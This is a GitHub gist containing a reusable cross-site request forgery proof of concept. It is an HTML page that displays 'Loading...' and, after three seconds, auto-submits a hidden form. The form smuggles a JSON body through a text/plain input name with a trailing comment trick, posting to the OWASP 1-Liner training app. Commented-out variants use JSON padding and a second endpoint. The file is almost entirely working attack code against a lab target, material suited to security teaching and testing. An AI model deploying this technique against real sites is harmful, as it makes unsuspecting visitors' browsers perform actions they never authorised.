Skip to content

Instantly share code, notes, and snippets.

@jakekarnes42

jakekarnes42/csrf_json_hidden.html

Created August 7, 2019 23:19
Show Gist options
  • Save jakekarnes42/e73ef14f7da22cd125d6e3a72a95236d to your computer and use it in GitHub Desktop.
Save jakekarnes42/e73ef14f7da22cd125d6e3a72a95236d to your computer and use it in GitHub Desktop.
Download ZIP
CSRF PoC Example that can be reused. Automatically POSTs a JSON string to a server after a short delay.
Raw
csrf_json_hidden.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script type="text/javascript">$(document).ready(function (){
setTimeout("$('#target').submit()", 3000);
});</script>
</head>
<body>
<h1>Loading...</h1>
<!-- CSRF POST to /vulnerable using JSON commenting, works with Jackson that's used in OWASP 1-Liner -->
<form id="target" enctype="text/plain" method="POST" action="http://local.1-liner.org/oneliner/ws/vulnerable/oneliners" style="visibility:hidden">
<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" />
<input type="submit" value="Go" />
</form>
<!-- CSRF POST to /vulnerable using JSON padding, does not work with Jackson that's used in OWASP 1-Liner -->
<!--
<form id="target" enctype="text/plain" method="POST" action="http://local.1-liner.org/oneliner/ws/vulnerable/oneliners" style="visibility:hidden">
<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006", "paddingDummy": "' value='"}' />
<input type="submit" value="Go" />
</form>
-->
<!-- CSRF POST to /securish -->
<!--
<form id="target" enctype="text/plain" method="POST" action="http://local.1-liner.org/oneliner/ws/securish/oneliners" style="visibility:hidden">
<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" />
<input type="submit" value="Go" />
</form>
-->
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment